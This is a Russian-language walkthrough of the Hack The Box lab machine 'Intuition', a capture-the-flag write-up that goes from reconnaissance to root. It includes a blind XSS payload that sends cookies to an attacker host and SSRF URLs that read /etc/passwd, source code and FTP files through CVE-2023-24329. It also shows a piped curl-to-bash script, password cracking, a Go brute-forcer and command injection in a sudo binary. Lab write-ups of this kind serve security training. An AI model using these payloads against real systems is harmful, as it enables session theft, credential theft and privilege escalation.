Intuition HTB
Содержание
В этой статье мы разберем пошаговый процесс взлома одной из машин на платформе Hack The Box, начиная с разведки и заканчивая получением привилегий суперпользователя. Независимо от вашего уровня подготовки, вы найдете полезные советы и техники, которые помогут улучшить ваши навыки в области информационной безопасности.
Описание #
Машина: Intuition
Сложность: Hard
ОС: Linux
User flag #
Как обычно, перед началом работы, необходимо просканировать сервер на открытые порты. Используем инструмент nmap для сканирования сети и определения открытых портов и сервисов.
sudo nmap -sV -sC -O -Pn -oA nmapscan 10.10.11.15
Nmap scan report for comprezzor.htb (10.10.11.15)
Host is up (0.078s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 b3:a8:f7:5d:60:e8:66:16:ca:92:f6:76:ba:b8:33:c2 (ECDSA)
|_ 256 07:ef:11:a6:a0:7d:2b:4d:e8:68:79:1a:7b:a7:a9:cd (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Comprezzor
|_http-server-header: nginx/1.18.0 (Ubuntu)
Ничего стоящего для нашего внимания нет. Далее, добавим домен в hosts.
echo "10.10.11.15 comprezzor.htb" | sudo tee -a /etc/hosts
После завершения сканирования перед просмотром Web-страницы, запустим поиск поддоменов, для этого используем инструмент ffuf.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://comprezzor.htb -H "HOST: FUZZ.comprezzor.htb"
Чтобы избавиться от ненужных результатов, исключим ответы размером 178.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://comprezzor.htb -H "HOST: FUZZ.comprezzor.htb" -fs 178
В результате получим три поддомена и сразу добавим их в hosts.
echo "10.10.11.15 auth.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 report.comprezzor.htb" | sudo tee -a /etc/hosts
echo "10.10.11.15 dashboard.comprezzor.htb" | sudo tee -a /etc/hosts
Теперь можем изучить Web-страницы. Первым рассмотрим comprezzor.htb. При открытии этого домена видим возможность загружать и сжимать файлы.
Рассмотрим следующие поддомены: report.comprezzor.htb.
Чтобы воспользоваться формой отправки репортов перейдем на страницу регистрации в auth.comprezzor.htb. После регистрации и входа в аккаунт появится возможность отправить репорты через форму.
После появления формы, приступим к поиску уязвимости на XSS. И через несколько попыток найдем нужную полезную нагрузку для эксплуатации Blind XSS. Можно прочитать про уязвимость здесь Blind XSS
<img src=x onerror=fetch("http://<ip>:<port>/"+document.cookie);>
И в итоге у нас получится перехватить куки.Используя эти куки, получим доступ к dashboard.comprezzor.htb.Посмотрев все репорты, понимаем, что получили возможность удалять, изменять статус на “решено” или повышать/понижать важность репорта.Следующий шаг пока не ясен, попробуем ради интереса расшифровать куки пользователя.Обнаружив ID пользователя 2 и роль webdev, предположим, что есть еще один пользователь. Учитывая возможность повышения важности репорта, предположим, что таким образом репорт может быть передан пользователю с более высокими привилегиями. Повторим шаги с Blind XSS, а затем увеличим важность репорта, чтобы получить куки другого пользователя. В итоге мы достигнем такого результата:Используя сеанс администратора, получим доступ к функциям администратора и сразу обнаружим наличие формы для создания PDF-отчетов.После безуспешных попыток внедрить вредоносный файл для выполнения удаленного кода (RCE) на сервере путем запуска локального сервера, попробуем просто указать наш эндпоинт и посмотреть заголовки запроса.Нас интересует вот эта строка:
User-Agent: Python-urllib/3.11
Сервер использует библиотеку Python-urllib версии 3.11. Попробуем найти информацию об этой версии библиотеки в интернете. Обнаружим уязвимость CVE-2023-24329. Где говорится что An issue in the urllib.parse component of Python before 3.11.4 allows attackers to bypass blocklisting methods by supplying a URL that starts with blank characters. Получается, что если эта библиотека видит в начале пустой символ, то у нее не получится спарсить url-адрес и проанализировать протокол адреса, что, в свою очередь, позволяет обойти фильтрацию протоколов. Соответственно, используя схему file, можно получить контент локальных файлов на сервере.
file:///etc/passwd
Для того чтобы узнать, какой процесс выполняет данный код и с какими аргументами была вызвана команда процесса, прочитаем содержимое этого файла.
file:///proc/self/cmdline
Прочтем код входного файла проекта.
file:///app/code/app.py
Обратим внимание на секретный ключ, и на то, что дебаг-мод отключен, поэтому продолжим изучение файла. Также обратим внимание, что в начале файла есть импорт других файлов. Попробуем получить код этих файлов для дальнейшего анализа.
file:///app/code/blueprints/report/report.py
Ничего интересного, смотрим дальше.
file:///app/code/blueprints/auth/auth.py
Ничего интересного, смотрим дальше.
file:///app/code/blueprints/dashboard/dashboard.py
В данном файле обнаружим данные от FTP-аккаунта. Однако мы не можем подключиться к нему напрямую, так как порт закрыт. Мы можем использовать уязвимость SSRF (Server-Side Request Forgery), связанную с CVE-2023-24329, чтобы получить доступ к FTP через локальное подключение.
ftp://ftp_admin:u3jai8y71s2@ftp.local
Поочередно получим все файлы и сохраним их у себя.
ftp://ftp_admin:u3jai8y71s2@ftp.local/welcome_note.txt
ftp://ftp_admin:u3jai8y71s2@ftp.local/private-8297.key
Изменим права доступа к файлу ключа.
chmod 400 private-8297.key
Внутри текстового файла с приветствием обнаружим пароль для расшифровки файла приватного ключа.И успешно получим user flag.
Root flag #
Следующим шагом попробуем найти что-то полезное с помощью linpeas.
curl -L http://<ip>:<port>/linpeas.sh | bash
В результате сканирования найдем файл базы данных пользователей и несколько открытых портов.Далее, для удобства, скачаем файл users.db к себе.
scp -i id_rsa dev_acc@comprezzor.htb:/var/www/app/blueprints/auth/users.db ./users.db
Проверим, какие там есть данные.Обнаружим хешированные пароли пользователей, попробуем определить, что за хеш, с помощью hashid.И с помощью справочника получим hash-mode 30120 Далее, используем hashcat
hashcat -m 30120 hash /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt
# sha256$Z7bcBO9P43gvdQWp$a67ea5f8722e69ee99258f208dc56a1d5d631f287106003595087cf42189fc43:adam gray
Получив ошибку “неверный пароль” при попытке подключения по SSH, перейдем к следующему шагу. Учитывая, что на атакуемой машине работает FTP-сервер, используем новые данные для подключения. И вуаля, найдем три файла.Копируем все эти файлы к себе и изучим содержимое. В файле run-test.sh обнаружим первые 8 символов пароля.При анализе кода файла runner1.c, обнаружим, что мы имеем дело с ansible-playbook, и этот код позволяет просмотреть, запустить или же установить ansible-конфигурации по адресу /opt/playbooks/. Также отметим функцию, которая проверяет пароль, и только потом позволяет запустить программу.Проведем анализ этой функции построчно.
#define AUTH_KEY_HASH "0feda17076d793c2ef2870d7427ad4ed"
// Она получает всего лишь один параметр auth_key
// который получает из командной строки в аргументах при запуске программы
int check_auth(const char* auth_key) {
// вычисляет MD5-хэш значения auth_key и хранит результат в digest
unsigned char digest[MD5_DIGEST_LENGTH];
MD5((const unsigned char*)auth_key, strlen(auth_key), digest);
char md5_str[33];
// цикл преобразует каждый байт хэша digest в hex формат и хранит результат в md5_str
// в итоге получается строка длиною 32 символа
// md5_str имеет размер 33 для нуль-терманатора который по сути обозначает конец строки
for (int i = 0; i < 16; i++) {
sprintf(&md5_str[i*2], "%02x", (unsigned int)digest[i]);
}
// в конце производится сравнение полученной строки с строкой константой AUTH_KEY_HASH
if (strcmp(md5_str, AUTH_KEY_HASH) == 0) {
return 1;
} else {
return 0;
}
}
Эта функция вычисляет MD5 введенного пароля, затем преобразует его в шестнадцатеричную строку и сравнивает с AUTH_KEY_HASH. Зная, как работает функция и имея AUTH_KEY_HASH, мы можем написать код, который просто брутфорсом найдет последние 4 символа. Будем использовать для этого язык программирования Go.
Click to see go code
package main
import (
"crypto/md5"
"encoding/hex"
"fmt"
)
const (
knownPart = "UHI75GHI"
targetHash = "0feda17076d793c2ef2870d7427ad4ed"
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
)
func computeMD5Hash(s string) string {
hash := md5.Sum([]byte(s))
return hex.EncodeToString(hash[:])
}
func findAuthKey(current string, length int) string {
if length == 0 {
candidateKey := knownPart + current
candidateHash := computeMD5Hash(candidateKey)
if candidateHash == targetHash {
return candidateKey
}
return ""
}
for _, char := range charset {
result := findAuthKey(current+string(char), length-1)
if result != "" {
return result
}
}
return ""
}
func main() {
length := 4
authKey := findAuthKey("", length)
if authKey != "" {
fmt.Printf("The auth_key is: %s\n", authKey)
}
}
После неудачных попыток использовать этот пароль для подключения по SSH или FTP, а также безуспешного повторного просмотра анализа linpeas.sh, посмотрим логи в поиске чего-то полезного. Для общего поиска мы можем использовать соответствующие команды.
grep -Ril 'password' /var/log/*/*
В итоге, логи не содержат полезной информации, перейдем к поиску в .gz архивах.
zgrep -i 'password' -n /var/log/*/*
Обнаружив логи подключения по FTP-пользователя lopez, заметим, что FTP-server требует пароль для этого пользователя. Чтобы обнаружить следующие логи, воспользуемся flow_id, что позволит успешно найти данные пользователя lopez.После подключения по SSH проверим, что может запустить пользователь из-под sudo.Заметим, что из-под sudo можно запустить бинарный файл runner2. Скопируем его к себе и попробуем понять, что делает приложение. При запуске заметим, что приложение от нас требует json-файл.Посмотрим бинарный файл с помощью ghidra. Обнаружим, что после успешного открытия json-файла, приложение ищет свойство run.Затем увидим, что дальнейшее действие определяется значением свойства action внутри run.action может принимать одно из следующих значений: list -> показать список всех .yml файлов из /opt/playbooks.run -> запустить один из этих .yml файлов.install -> позволяет установить роль с помощью ansible-galaxy.Обнаружим, что значение свойства role_file встраивается как строка в команду, в этом и заключается уязвимость, которая позволит выполнить любую команду из-под sudo. Следует отметить, что в коде есть проверка на валидность архива, т.е. для архива будем использовать что-нибудь готовое из интернета. Помним про функцию check_auth, которая проверяет пароль. При просмотре кода заметим, что это тот хеш, к которому мы подобрали пароль с помощью брутфорса. В json-файле пароль находится рядом со свойством run.Имея все эти знания, создадим наш json-файл.И получим root флаг.